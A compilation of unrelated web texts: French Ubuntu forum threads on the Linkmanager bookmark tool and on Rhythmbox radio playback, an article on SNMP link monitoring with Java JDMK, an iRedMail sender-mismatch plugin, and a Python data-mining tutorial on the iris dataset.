PS : Par contre je n'ai toujours pas réussit à installé la lentille Unity
Dernière modification par White Angels (Le 11/06/2014, à 13:14)
OS : Ubuntu 14.04 Trusty Tahr || Nombre de convertis aux libres : 1 (peut-être une deuxième)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Pour le serveur persistant, je vais voir ce que je peux faire mais je ne veux pas m'éparpiller.
Pour que les bugs soient loggés et que le serveur soit relancé en cas d'erreur, il faudrait que je mettes en place un soft comme "supervisor" : en somme, faire un vrai daemon.
Cette experience me permettra sans doute de mieux apréhender une version "desktop" persistante.
(genre un paquet deb à part qui ajoute un lanceur avec son logo)
Pour la lentille Unity, tu l'as peut-être bien installé mais vu que l'API a changé, elle ne fonctionne tout simplement pas.
Une fois la 0.4 sortie, je regarde pour la mettre à jour et en faire un .deb dans le ppa.
Je me créerais une VM virtualbox pour la tester...
Hors ligne
White Angels
Re : Linkmanager : logiciel de gestion de ses URLs
Est-ce que pour la 0.4 tu pourrais créer une sorte de base de donnée distante ?
Un moyen de partager une bdd entre plusieurs appareilles, par exemple au taff lorsque j'ajoute un favoris je ne peux pas le retrouver chez moi ! ça serait bien si je pouvais partagé mes favoris entre mes appareilles !
OS : Ubuntu 14.04 Trusty Tahr || Nombre de convertis aux libres : 1 (peut-être une deuxième)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Après un long temps de vide, voici enfin quelques news du projet :
J'ai pêché pas mal sur ma gestion du temps.
Un gros remaniement qui m'a valu beaucoup de boulot et qui devrait simplifier la suite du dev :
Niveau utilisateur, rien de bien transendant : une évolution naturel vers quelque chose de fonctionnel avec tous les intérêts (je l'espère) du web par rapport à de la ligne de commande.
Pour le coup, j'ai suivi la mode du "flat design" (pour la version web) plus par fainéantise que par réelle adhésion.
L'avantage évident est de concentrer l'utilisateur uniquement sur les fonctionnalités.
J'ai pris soin de réfléchir à l'ergonomie :
* le bouton "edit mode" permet de basculer d'un mode de lecture à celui d'écriture.
* l'édition d'un lien et de ses propriétés passe par des validateurs avec des messages d'avertissement ou d'erreur si besoin.
* l'édition des tags se fait plus naturellement avec la lib (tag-it) que j'ai légèrement monkey-patché pour l'occasion.
* les icônes de twitter bootstrap ainsi que le code des couleurs ont été choisi avec attention.
C'est pas forcément de bon goût mais c'est parlant.
* HTML5/CSS3 avec ajout de petits effets CSS : je me suis amusé un peu mais ça reste de l'amateurisme.
J'ai pas forcément le bagage suffisant dans la partie intégration et ne vais pas m'embêter pour l'instant à tester d'autres navigateurs que firefox/chrome.
De l'aide en ce sens n'est pas de refus.
* utilisation de flask-asset (http://flask-assets.readthedocs.org/en/latest/) :
parce que je souhaitais faire du lazyloading avec du inlining sur du css et javascript...
Ceci n'est valable qu'en mode DEBUG=False bien évidement.
Bon, les optimisations sont encore douteuses sur le css, j'hésites sur l'utilisation de datauri etc. mais ça reste peu important pour le commun des mortelles.
* Pour les tests unitaires, utilisation de "fakeredis" : évite d'utiliser une base poubelle pour les tests!!
En théorie, c'est génial... mais la réalité a été plus compliqué, arg.
Il manquait l'implémentation d'une méthode "type()" dans Fakeredis : je l'ai donc patché puis effectué un Pull Request.
En attendant d'être intégré (ou pas), j'utilise la dépendance de mon dépôt github.
* utilisation de la librairie _underscore.js (encore une dépendance) : ça m'a permis de concerver un code JS à peu prêt lisible...
* prise en charge de "l'auteur" en tant que propriété : possibilité de le définir dans la configuration.
* rajout de fichiers de configuration pour tous les utilisateurs : /etc/linkmanager.conf et spécifique à un utilisateur : ~/.config/linkmanager.conf. Ce dernier est créé si il n'existe pas (avec des valeurs par défaut) lors du lancement du soft par l'utilisateur en question.
* rajout d'une option READ_ONLY : permet d'accéder à son webservice uniquement en lecture.
Pratique si on veut rendre publique ses liens sans qu'un tiers ne puissent en ajouter/modifier/supprimer.
Vu que c'est limite *énervant* à tester (une UI) et que je suis pas un gourou de javascript, j'imagine ne pas être excent de bugs...
votre relecture, utilisation et feedback n'en sera que plus appréciable!!
Pour mettre à jour:
sudo pip3 install -e git+https://github.com/mothsART/linkmanager.git@5387d04d0bd256f84da514b4677a88590754a2c8#egg=linkmanager
Si vous avez déjà une base de donnée auquel vous tenez, faites un :
linkm dump >| /tmp/linkmanager.json
sudo pip3 install -e git+https://github.com/mothsART/linkmanager.git@5387d04d0bd256f84da514b4677a88590754a2c8#egg=linkmanager
linkm load /tmp/linkmanager.json
Ca devrait vous évitez une tonne de bugs bizarres.
Dernière grande ligne avant la 0.4 :
* une auto-complétion des tags en mode ligne de commande
* toutes les traductions à jour
* Rajout de tests unitaires (dont un jsonschema pour les import/export : https://github.com/Julian/jsonschema) avec une meilleur couverture et éventuellement des tests sur la partie web
* maj sur pypi et de mon ppa (je vais aussi mettre une option de mise à jour de sa base pour éviter de faire la manip proposé précédement)
* paquet pour ArchLinux (j'ai 2 ordi sur 3 maintenant sous Arch)
* maj de la doc
Dernière modification par moths-art (Le 14/09/2014, à 09:33)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Voici ma Roadmap pour la 0.5 :
* Linkmanager en mode "server":
J'ai pas mal réfléchi à la demande de "WhiteAngels" et ne voulais surtout pas me lancer tête baissé dans quelque chose de complexe.
Je précise que mon intérêt est bien présent dans cette fonctionnalité car j'ai une rasperry-pi qui fait office de serveur local dans mon LAN et pouvoir partager mes liens facilement devient une nécessité.
Je suis donc passé par une réflexion "papier".
Sans trop rentrer dans le détail, je vais utiliser git pour ce faire afin de gérer des situations cocasses dont principalement "les conflits".
Ca risque d'être coton a tester mais vu que je suis joueur...
* mode offline avec caching des pages :
* si la page a changé depuis son enregistrement, un diff sera possible
* version web :
* rajout de flux rss
* multi-pages avec une option de configuration (ex: MAX_RESULTS_BY_PAGE = 10)
* nuage de tags avec la possibilité d'en glisser/déposer.
* possibilité d'avoir le favicon et un aperçu du site au survol.(imprim écran)
Roadmap encore indéfini :
* utilisation dans emacs : "org-mode" et "web-mode" principalement
* la possibilité de changer la configuration de linkmanager dans l'interface web
* Utilisation d'autres BDD que Redis
* Benchmarks
* Import/export avec Delicious et/ou evernote
* plugin firefox/chrome
* Doc exhaustive sur readthedocs.org
* amélioration du manpage (et version en français)
* mise en ligne d'une version démo on-line + site de présentation du projet (sans doute créé avec pelican: http://blog.getpelican.com/ donc sous forme de blog avec une version français/anglais)
* maj de la doc sous ubuntu-fr
Merci de vos contributions et de votre patience
Dernière modification par moths-art (Le 14/09/2014, à 09:33)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
La version 0.4 est dispo sur pypi :
Comme annoncé, elle est fourni avec :
* une auto-complétion des tags en cli
* le soft en français (seulement en cli) et anglais
Conseil : mettez à jour votre installateur (pip) :
sudo pip3 install --upgrade pip
puis
sudo pip3 install --upgrade linkmanager
Hors ligne |
Consolidation, integration, refactoring, and migration are some of today's popular data center catchwords. All of these words reflect some kind of renewal or replacement process--the old is either substantially modified or thrown in the garbage and replaced with the new. However, in many cases, we are often stuck with old equipment and software. We must continue to extract more services from aging infrastructure and still make reasonable claim to them being manageable.
Java Dynamic Management Kit (JDMK) is a framework for the creation of Java-based management software and legacy SNMP-based systems. It extends Java Management Extensions (JMX), which allows instrumented applications to remotely monitor resources throughout the network.
One of the files I'll use contains a list of managed objects, which can be referenced by JDMK code. The following listing is an excerpt from a generated Java file, called RFC1213_MIBOidTable.java (available in the sample code, in the Resources section below). This file is generated with reference to a specified standard MIB file.
//Metadata definitions for managed objects of interest
new SnmpOidRecord("ifInOctets", "1.3.6.1.2.1.2.2.1.10", "C"),
new SnmpOidRecord("ifLastChange", "1.3.6.1.2.1.2.2.1.9", "T"),
new SnmpOidRecord("ifOperStatus", "1.3.6.1.2.1.2.2.1.8", "I"),
The symbols in each
SnmpOidRecord can be directly accessed by network management software. This is our interface into the managed network devices.
Later, I'll look at ways in which JDMK can provide something of a management makeover for legacy devices. As we'll see, it's reasonably easy and inexpensive to produce entry-level management tools. Such tools may even help IT managers to gain a deeper understanding of the dynamics of their networks and the services that sit on top of them.
One other take-away for readers is the use of the adapter pattern as a means of accessing the JDMK API. This increases the level of abstraction in the way we use the standard APIs.
Imagine you've just been promoted to network manager with a staff of two. You're now responsible for all of the computing devices on a site with 200 people spread across four departments. Part of the task is also connection the corporate WAN, telephony system support, PC upgrades, application deployment, server support, etc. Basically, you've got to concentrate on everything!
Let's assume Figure 1 is the hypothetical network for which you've become responsible.
Figure 1. An enterprise network
In Figure 1, we see a schematic diagram of a single building with three floors. The devices on each floor are connected into a switch--in many cases, these individual links will each have bandwidth of 10Mbps and terminate in a wiring closet (not shown). The switches in turn are connected (via Links 1, 2, and 3) to a floor-level switch (F1 for floor 1, F2 for floor 2, and F3 for floor 3). In turn, each floor-level switch is connected by a high-speed link to a core switch. The latter might then be connected to a WAN link or a service provider network.
Looking at Figure 1, we can immediately discern some possible problem areas. The following items represent single points of failure:
Remember that a network is only ever as strong as its weakest link--this means that our network is vulnerable. It's the job of the network designer to try to balance service continuity against the cost of providing redundancy. In Figure 1, there are some weak points that might profit from a review! I'll focus on these by writing some JDMK code to help us see when problems have occurred and when problems might be just about to occur.
Related Reading
An important requirement in any IT manager's job is identifying the weak points in the network. This involves a careful combination of talking to your users and your predecessor (if possible) and instigating data collection. Every network has its very own folklore! Certain network links may periodically become overloaded; one or two routers or switches may be a little flaky; a server may be past its sell-by date, etc.
A considerate predecessor might well pass on such vital information to you as you embark on your new job. Let's assume your predecessor is a kindly soul who wants to help you make an orderly transition into your new role. Further, let's assume that she tells you to "Watch out for Link 1--it tends to become congested, and the folks on Floor 1 get a little angsty." This is important insider know-how, and we'll put it to use in the Java code later on.
In many cases, networks are held together by a fragile combination of scripts and insider know-how. What I hope to show in this article is that it is pretty straightforward to produce some JDMK tools that will assist you in holding your own against the network you manage. There is, of course, no real substitute for a well-designed and well-maintained network, but even in this rare case, our Java tools might provide some assistance.
HP OpenView Network Node Manager (NNM) provides a widely used application that is found in both enterprise and service provider networks. It provides some useful features, including automatic discovery and mapping of network devices, receipt of notification messages, and the ability to add your own proprietary software. In short, NNM provides a GUI that allows you to see your network. If NNM is available to you, then it may prove invaluable in discovering and monitoring your network. If not, then don't despair!
The key to effective IT management is selective use of automated tools. If you have access to high-end application software, then use it. As we move into an era of autonomic computing, it will increasingly be the case that systems and software will execute some or all of their own management. Get aboard this bandwagon early by maximizing your use of software solutions in your IT management tasks!
Using JDMK, we can create software that both listens for events and pro-actively reads device status. In this article, I'll be focusing on the latter, just to illustrate the principles.
To begin with, I'll write a simple program that looks at a specific network link and tries to determine if it's prone to congestion. We do this by sampling and averaging some SNMP counters on an interface at one end of this link. These are standard objects that are maintained by the SNMP entity running on the device. Sometimes, the SNMP entity is not running by default--in this case, I'll assume the network manager (i.e., your predecessor!) has chosen to run SNMP on all of those devices where it is available. Let's now describe the simple requirements for the code.
We want to create some software that fulfils the following simple requirements:
An interface usually has an administrative state and an operational state. The administrative state is the one desired by the network manager; i.e., "I want this interface to be up." The operational state is the actual state of the interface. Try to think about the operational state as the network's response to the requested state. If the administrative state is up and the operational state is down, then we know there's a problem.
The interface type I'll be using is Ethernet, specifically 10Mbps (or 10,000,000bps). I'll be retrieving a snapshot of the count of incoming bits received at an interface at one end of Link 1 in Figure 1. This will give us an instantaneous picture of the inward traffic level at that interface. Then, we'll wait a bit and retrieve the same counter value. The difference between these two values gives us the required utilization value. Let's have a look at some source code now.
The Java class I use is called RequestData. It contains a main() method and makes use of the following JDMK resources (among others):
import com.sun.management.snmp.SnmpDefinitions;
import com.sun.management.snmp.SnmpOid;
import com.sun.management.snmp.SnmpVarBindList;
import com.sun.management.snmp.manager.SnmpPeer;
To begin with, I initialize the SNMP Manager API. This allows us to access the generated table mentioned in the introduction.
final SnmpOidTableSupport oidTable =
new RFC1213_MIBOidTable();
SnmpOid.setSnmpOidTable(oidTable);
Next, I create an SnmpPeer object. This represents the entity with which we will communicate. Note that this uses the port passed in as a command-line parameter.
final SnmpPeer agent =
new SnmpPeer(host, Integer.parseInt(port));
We must now create a communications session with the remote entity. This requires us to specify SNMP community strings. These data elements are then associated with the agent.
final SnmpParameters params =
new SnmpParameters("public", "private");
agent.setParams(params);
We're nearly there! We now have to build the session to manage the data request and then we're ready to create the data request list (or variable binding list).
final SnmpSession session =
new SnmpSession("SyncManager session");
session.setDefaultPeer(agent);
final SnmpVarBindList list =
new SnmpVarBindList(
"SyncManager varbind list");
The program is a single JDMK class that builds an SNMP request message. This message specifies four objects of interest, using the following code:
// A description of the host device
list.addVarBind("sysDescr.0");
// The operational state of interface 1
list.addVarBind("ifOperStatus.1");
// The number of incoming octets on interface 1
list.addVarBind("ifInOctets.1");
// The speed of interface 1
list.addVarBind("ifSpeed.1");
Our four required objects are packed into an SNMP getRequest message and sent to the receiving entity as follows:
SnmpRequest request =
session.snmpGetRequest(null, list);
We now retrieve the same set of objects twice; the difference in time between the samples is found using this Java code:
// Calculate the time between messages
long oldTime = date1.getTime();
long newTime = new Date().getTime();
long elapsed = (newTime - oldTime) / MS_DIVIDEND;
println("Elapsed time in seconds " + elapsed);
In this section, we get the most recent time and subtract a time value recorded just before the first retrieval. This gives us a rough estimate of the elapsed time between the data samples.
When the returned data is displayed, we see the following major elements:
Value : 25625, Object ID : 1.3.6.1.2.1.2.2.1.5.1 (Syntax : Gauge32)
Value : 10000000
>> Press Enter to resend the request.
Elapsed time in seconds 16
Value : 26005, Object ID : 1.3.6.1.2.1.2.2.1.5.1 (Syntax : Gauge32)
Value : 10000000
The three bold data items above represent the two values of the ifInOctets object taken at an interval of 16 seconds. The selected interface (which supports a speed of 10,000,000bps) has received 25625 octets (or bytes) at the time T1 and 26005 octets at the time T2. To determine the incoming link utilization, we apply the following formula:
Incoming Link % Utilization = ((T2 octets - T1 octets) * 8 * 100) / (ifSpeed * Sample speed)
Plugging in the values above gives us a utilization of (26005 - 25625) * 8 * 100/(10,000,000 * 16), or 0.0019 percent.
Clearly, the interface is very lightly loaded on the incoming side! A similar measurement can be made for the outgoing direction (using the ifOutOctets object instead). Then, both values can be summed to determine the overall loading. Obviously, care is required in drawing any conclusions from the figures (they are instantaneous snapshots of data that can change rapidly), but they do provide some minimal level of understanding of the loading on the interface.
Plying this program with diligence and observing loading trends over a period of a day might lead us to understand why the outgoing network manager made the comment concerning Link 1. In any case, it means that you are beginning to learn about the secrets that the network holds in store! Extending this approach to other regions of the network should help in acquiring a broader understanding again.
To run the example program, you'll need to install JDMK. Free evaluation copies can be downloaded from Sun Microsystems, though these copies expire after 90 days. So don't be too leisurely about running this code! Alternatively, if you win a couple of lotteries, you might be tempted to purchase JDMK.
In either case, just follow the instructions in the examples\current\Snmp\Manager\ReadMe file and the example should compile and run successfully. I used JDMK version 5.1. Also, there's detail and further Java examples in my book, Network Management, MIBs & MPLS: Principles, Design & Implementation--no lottery win required!
I strongly encourage using the adapter pattern to hide the complexity of the JDMK API. Really, JDMK isn't complex per se, but it is proprietary. For this reason, it's important to not litter your application code with calls into such an API. The adapter provides a useful model for achieving this noble design aim.
The adapter serves to insulate the application code from the details of the JDMK (or other) technology. Your code then calls into the adapter, rather than directly using the JDMK interface. So, if you later decide to change from JDMK and use another technology, any required changes to your code will have been minimized ahead of time.
Further details on the adapter pattern and its applications can be found in design pattern books, such as O'Reilly's Head First Design Patterns.
Supporting legacy systems and equipment is difficult and unforgiving, particularly as IT budgets and staffing levels are squeezed. However, nothing is too much of a challenge for a game Java developer! Using some simple concepts from network management and SNMP, it's possible to quickly create some quite powerful JDMK-based software tools. These tools can be used to keep an eye on troublesome corners of your network, while you get on with more interesting tasks. They might also help you troubleshoot in times of difficulty.
I've barely scratched the surface of what's possible with JDMK: you can employ notifications, create your own agents as well as managers, use browsers to access the management infrastructure, etc. However, perhaps more importantly, what we have seen on the one hand is the conceptual simplicity of network management, and on the other the potentially boundless complexity of running a network. Both endeavors must meet at a common boundary, and JDMK provides a fertile ground for this.
Stephen B. Morris is an independent writer/consultant based in Ireland.
Return to ONJava.com.
Copyright © 2009 O'Reilly Media, Inc. |
michelk
la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bonjour,
Après une mise à jour, la lecture de flux radio ne fonctionne plus (ubuntu 12.10 - rhythmbox). Lorsque je clique sur les noms des radios, celles-ci s'affichent avec un sens interdit. J'ai essayé de lancer rhythmbox à partir d'un terminal.
Voici ce que j'obtiens:
Fontconfig warning: "/etc/fonts/conf.d/50-user.conf", line 9: reading configurations from ~/.fonts.conf is deprecated.
** (rhythmbox:5591): WARNING **: GObject.get_data() and set_data() are deprecated. Use normal Python attributes instead
(rhythmbox:5591): Rhythmbox-WARNING **: Could not open device /dev/radio0
J'ai aussi tenté un démarrage de rhythmbox avec la commande sudo. Quelques radios fonctionnent, mais la plupart affichent également un sens interdit. De plus les radios que j'ai installées n'apparaissent plus dans le menu
Que puis-je faire?
Merci pour vos réponses,
M.
Hors ligne
michelk
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bonjour,
Je suis passé à la version 13.04 d'ubuntu, certaines radios fonctionnent mais la plupart ne s'ouvrent pas.
Celles-ci par exemple ne fonctionnent pas:
http://mp3.streampower.be/klaracontinuo-high
http://www.static.rtbf.be/radio/musiq3/ … 3_128k.m3u
Est-ce en rapport avec le type de fichier(la deuxième fonctionnait avant la mise à jour pourtant)?
Une idée?
Hors ligne
michelk
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bon, toujours rien, je tente un p'tit UP?
Hors ligne
philoup44
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Salut
Regardes dans RHYTHMBOX > éditions > Greffons > Configurer les gréffons
si
- Radio FM
est activée ou non ...
peut etre qu'une option a été décochée ... ??
Dernière modification par philoup44 (Le 06/05/2013, à 19:51)
Hors ligne
cricriber
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bonjour tout le monde,
Même problème pour moi, pas de lecture ou si début de lecture plantage de rythmbox.
Hors ligne
sono68200
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Chez moi pas de lecture non plus de radio sur la 13.04. Cela fonctionnait il y a quelques temps. Quand je double clic sur une radio, rien... Quand je séléctionne une radio puis clique sur play, il l'a met en pause, alors qu'elle ne s'est même pas lancée... Puis en recliquant reste sur pause... J'ai essayé Nostalgie, Rires & Chansons...
Membre attitré de la brigade des S.Un peu zinzin sur les bords, sourire est mon quotidien.
Hors ligne
ismael54
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Idem sous la 13.04 ! On va dire qu'à part lire de la musique rien ne marche malheureusement...
Pour les radios j'ai le même problème que sono68200 mais pour les podcasts aussi, la plupart du temps ça plante avant que j'ai fini de m'y abonner via l'interface, j'ai pu écouter quelques secondes mais il a planté pour x raison
Hors ligne
guigui85
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Ok, à mon tour (sur le bon topic) et mêmes problèmes constatés depuis que je suis sur la 13.04, à la fois pour les radios et les podcasts. A mon sens, il y a des problèmes de greffons, voire de sources de logiciel qui ont été désactivés pour le passage à "raring". A voir comment ça évolue dans les jours ou semaines qui viennent ?
Le plus dur, c'est de ne pas penser.
Hors ligne
Bob dit l'Âne
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bonsoir
J'ai le même problème avec Rythmbox depuis la mise à niveau vers Raring.
Par contre, ça marche très bien pour les flux radio avec VLC, Banshee ou encore Radio Tray.
Revenons à Rythmbox. J'ai essayé dans un terminal et pour moi ça marche avec la commande "sudo rythmbox"
Akoya MD 97860 P7612 Core 2 Duo T6500 NVIDIA Realtek RTL8191SE Wireless LAN GeForce G210M
Ubuntu 14.04 LTS (« The Trusty Tahr », le tahr sûr)
Les paroles s'envolent, les écrits restent !
Hors ligne
guigui85
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bonjour,
il fallait être un âne pour ne pas utiliser VLC et les innombrables radios fournies, idem pour les podcasts.
A suivre pour Rhythmbox, donc. Mais ça devient moins urgent du coup, même si le tout en un, c'est plus pratique, quand ça marche....
Le plus dur, c'est de ne pas penser.
Hors ligne
pcouderc
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Je trouve irritant et pas professionnel qu'après un passage standard à la 13.04 mon fichier radio m3u ne marche plus. Bon je vais revenir à un bon vieux VLC, mais il me faut aller bidouiller ça tous les 6 mois, c'est pénible, on oublie la procédure en 6 mois.
Hors ligne
zniavre
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
je lance la radio via le fichier .m3u, cela ne fonctionne pas (normal ?), je suis l'action par, alt+f2 'killall gvfsd-http' et hop la radio se lance (re-normal ?)
apparement bug connu depuis 2 ou 3 version d'ubuntu .
Vous pouvez y rajouter tout le fûmier que vous pouvez , pour un chêne centenaire ...faut cent ans.
Hors ligne
ptiprince
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Bonjour,
Pareil pour moi, plus de radios ... c'est triste quand même ....:(
Hors ligne
ptiprince
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Moi aussi je n'ai plus accès aux radio ni last FM ... bref, comme si rhythmbox n'était plus relié au web (alors que Internet fonctionne très bien) ...
Hors ligne
guigui85
Re : la lecture de flux radio ne fonctionne plus(ubuntu 12.10 - rhythmbox)
Pour ma part, tout refonctionne normalement depuis la 14.04 sans aucune intervention particulière, hormis les mises à jours.
Il faut peut être voir les mises à jours des paquets synaptics qui sont, pour de bonnes raisons, désactivés ou "nettoyés" lors des changements de version.
Dernière modification par guigui85 (Le 27/07/2014, à 11:07)
Le plus dur, c'est de ne pas penser.
Hors ligne |
ZhangHuangbin wrote:
*) You should remove it from Postfix, that's why you need this plugin for per-user restriction.
Check!
It works now. I just updated the plugin a little:
"""Reject sender login mismatch (sender in mail header and SASL username)."""
import logging
from libs import SMTP_ACTIONS
REQUIRE_LOCAL_SENDER = False
REQUIRE_LOCAL_RECIPIENT = False
SENDER_SEARCH_ATTRLIST = []
RECIPIENT_SEARCH_ATTRLIST = []
# Allow sender login mismatch for below senders.
ALLOWED_SENDERS = ['[email protected]']
def restriction(**kwargs):
# The sender appears in 'From:' header.
sender = kwargs['sender']
# Username used to perform SMTP auth
sasl_username = kwargs['smtp_session_data'].get('sasl_username', '').lower()
logging.debug('Sender: %s, SASL username: %s' % (sender, sasl_username))
if sasl_username: # Is a outgoing email
# Compare them
if sender != sasl_username:
if sasl_username in ALLOWED_SENDERS:
return SMTP_ACTIONS['default']
else:
# Log message without reject.
logging.info('Sender login mismatch.')
# Reject without reason.
#return SMTP_ACTIONS['reject']
# Reject with reason.
# There must be a space between smtp action and reason text.
return SMTP_ACTIONS['reject'] + ' ' + 'Sender login mismatch.'
return SMTP_ACTIONS['default']
Within the "else" tree, there was no return statement active.
So it always returned SMTP_ACTIONS['default'] even if it should have returned SMTP_ACTIONS['reject'].
Thank you very much! A very nice feature!
Best,
Achim |
Download
FREE PDF
Data mining is the extraction of implicit, previously unknown, and potentially useful information from data. It is applied in a wide range of domains and its techniques have become fundamental for several applications.
This Refcard is about the tools used in practical Data Mining for finding and describing structural patterns in data using Python. In recent years, Python has become more and more used for the development of data centric applications thanks to the support of a large scientific computing community and to the increasing number of libraries available for data analysis. In particular, we will see how to:
Each topic will be covered by code examples based on four of the major Python libraries for data analysis and manipulation: numpy, matplotlib,sklearn and networkx.
Usually, the first step of a data analysis consists of obtaining the data and loading the data into our work environment. We can easily download data using the following Python capability:
import urllib2
url = 'http://aima.cs.berkeley.edu/data/iris.csv'
u = urllib2.urlopen(url)
localFile = open('iris.csv'', 'w')
localFile.write(u.read())
localFile.close()
In the snippet above we used the library urllib2 to access a file on the website of the University of Berkley and saved it to the disk using the methods of the File object provided by the standard library. The file contains the iris dataset, which is a multivariate dataset that consists of 50 samples from each of three species of Iris flowers (Iris setosa, Iris virginica and Iris versicolor). Each sample has four features (or variables) that are the length and the width of sepal and petal, in centimeters.
The dataset is stored in the CSV (comma separated values) format. It is convenient to parse the CSV file and store the information that it contains using a more appropriate data structure. The dataset has 5 rows. The first 4 rows contain the values of the features while the last row represents the class of the samples. The CSV can be easily parsed using the function genfromtxt of the numpy library:
from numpy import genfromtxt, zeros
# read the first 4 columns
data = genfromtxt('iris.csv',delimiter=',',usecols=(0,1,2,3))
# read the fifth column
target = genfromtxt('iris.csv',delimiter=',',usecols=(4),dtype=str)
In the example above we created a matrix with the features and a vector that contains the classes. We can confirm the size of our dataset looking at the shape of the data structures we loaded:
print data.shape
(150, 4)
print target.shape
(150,)
We can also know how many classes we have and their names:
print set(target) # build a collection of unique elements
set(['setosa', 'versicolor', 'virginica'])
An important task when working with new data is to try to understand what information the data contains and how it is structured. Visualization helps us explore this information graphically in such a way to gain understanding and insight into the data.
Using the plotting capabilities of the pylab library (which is an interface to matplotlib) we can build a bi-dimensional scatter plot which enables us to analyze two dimensions of the dataset plotting the values of a feature against the values of another one:
from pylab import plot, show
plot(data[target=='setosa',0],data[target=='setosa',2],'bo')
plot(data[target=='versicolor',0],data[target=='versicolor',2],'ro')
plot(data[target=='virginica',0],data[target=='virginica',2],'go')
show()
This snippet uses the first and the third dimension (sepal length and sepal width) and the result is shown in the following figure:
In the graph we have 150 points and their color represents the class; the blue points represent the samples that belong to the specie setosa, the red ones represent versicolor and the green ones represent virginica.
Another common way to look at data is to plot the histogram of the single features. In this case, since the data is divided into three classes, we can compare the distributions of the feature we are examining for each class. With the following code we can plot the distribution of the first feature of our data (sepal length) for each class:
from pylab import figure, subplot, hist, xlim, show
xmin = min(data[:,0])
xmax = max(data[:,0])
figure()
subplot(411) # distribution of the setosa class (1st, on the top)
hist(data[target=='setosa',0],color='b',alpha=.7)
xlim(xmin,xmax)
subplot(412) # distribution of the versicolor class (2nd)
hist(data[target=='versicolor',0],color='r',alpha=.7)
xlim(xmin,xmax)
subplot(413) # distribution of the virginica class (3rd)
hist(data[target=='virginica',0],color='g',alpha=.7)
xlim(xmin,xmax)
subplot(414) # global histogram (4th, on the bottom)
hist(data[:,0],color='y',alpha=.7)
xlim(xmin,xmax)
show()
The result should be as follows:
Looking at the histograms above we can understand some characteristics that could help us to tell apart the data according to the classes we have. For example, we can observe that, on average, the Iris setosa flowers have a smaller sepal length compared to the Iris virginica.
Classification is a data mining function that assigns samples in a dataset to target classes. The models that implement this function are called classifiers. There are two basic steps to using a classifier: training and classification. Training is the process of taking data that is known to belong to specified classes and creating a classifier on the basis of that known data. Classification is the process of taking a classifier built with such a training dataset and running it on unknown data to determine class membership for the unknown samples.
The library sklearn contains the implementation of many models for classification and in this section we will see how to use the Gaussian Naive Bayes in order to identify iris flowers as either setosa, versicolor or virginica using the dataset we loaded in the first section. To this end we convert the vector of strings that contain the class into integers:
t = zeros(len(target))
t[target == 'setosa'] = 1
t[target == 'versicolor'] = 2
t[target == 'virginica'] = 3
Now we are ready to instantiate and train our classifier:
from sklearn.naive_bayes import GaussianNB
classifier = GaussianNB()
classifier.fit(data,t) # training on the iris dataset
The classification can be done with the predict method and it is easy to test it with one of the sample:
print classifier.predict(data[0])
[ 1.]
print t[0]
1
In this case the predicted class is equal to the correct one (setosa), but it is important to evaluate the classifier on a wider range of samples and to test it with data not used in the training process. To this end we split the data into train set and test set, picking samples at random from the original dataset. We will use the first set to train the classifier and the second one to test the classifier. The function train_test_split can do this for us:
from sklearn import cross_validation
train, test, t_train, t_test = cross_validation.train_test_split(data, t, …
test_size=0.4, random_state=0)
The dataset have been split and the size of the test is 40% of the size of the original as specified with the parameter test_size. With this data we can again train the classifier and print its accuracy:
classifier.fit(train,t_train) # train
print classifier.score(test,t_test) # test
0.93333333333333335
In this case we have 93% accuracy. The accuracy of a classifier is given by the number of correctly classified samples divided by the total number of samples classified. In other words, it means that it is the proportion of the total number of predictions that were correct.
Another tool to estimate the performance of a classifier is the confusion matrix. In this matrix each column represents the instances in a predicted class, while each row represents the instances in an actual class. Using the module metrics it is pretty easy to compute and print the matrix:
from sklearn.metrics import confusion_matrix
print confusion_matrix(classifier.predict(test),t_test)
[[16 0 0]
[ 0 23 3]
[ 0 0 18]]
In this confusion matrix we can see that all the Iris setosa and virginica flowers were classified correctly but, of the 26 actual Iris versicolor flowers, the system predicted that three were virginica. If we keep in mind that all the correct guesses are located in the diagonal of the table, it is easy to visually inspect the table for errors, since they are represented by the non-zero values outside of the diagonal.
A function that gives us a complete report on the performance of the classifier is also available:
from sklearn.metrics import classification_report
print classification_report(classifier.predict(test), t_test, target_names=['setosa', 'versicolor', 'virginica'])
precision recall f1-score support
setosa 1.00 1.00 1.00 16
versicolor 1.00 0.85 0.92 27
virginica 0.81 1.00 0.89 17
avg / total 0.95 0.93 0.93 60
Here is a summary of the measures used by the report:
The support is just the number of elements of the given class used for the test. However, splitting the data, we reduce the number of samples that can be used for the training, and the results of the evaluation may depend on a particular random choice for the pair (train set, test set). To actually evaluate a classifier and compare it with other ones, we have to use a more sophisticated evaluation model like Cross Validation. The idea behind the model is simple: the data is split into train and test sets several consecutive times and the averaged value of the prediction scores obtained with the different sets is the evaluation of the classifier. This time, sklearn provides us a function to run the model:
from sklearn.cross_validation import cross_val_score
# cross validation with 6 iterations
scores = cross_val_score(classifier, data, t, cv=6)
print scores
[ 0.84 0.96 1. 1. 1. 0.96]
As we can see, the output of this implementation is a vector that contains the accuracy obtained with each iteration of the model. We can easily compute the mean accuracy as follows:
from numpy import mean
print mean(scores)
0.96
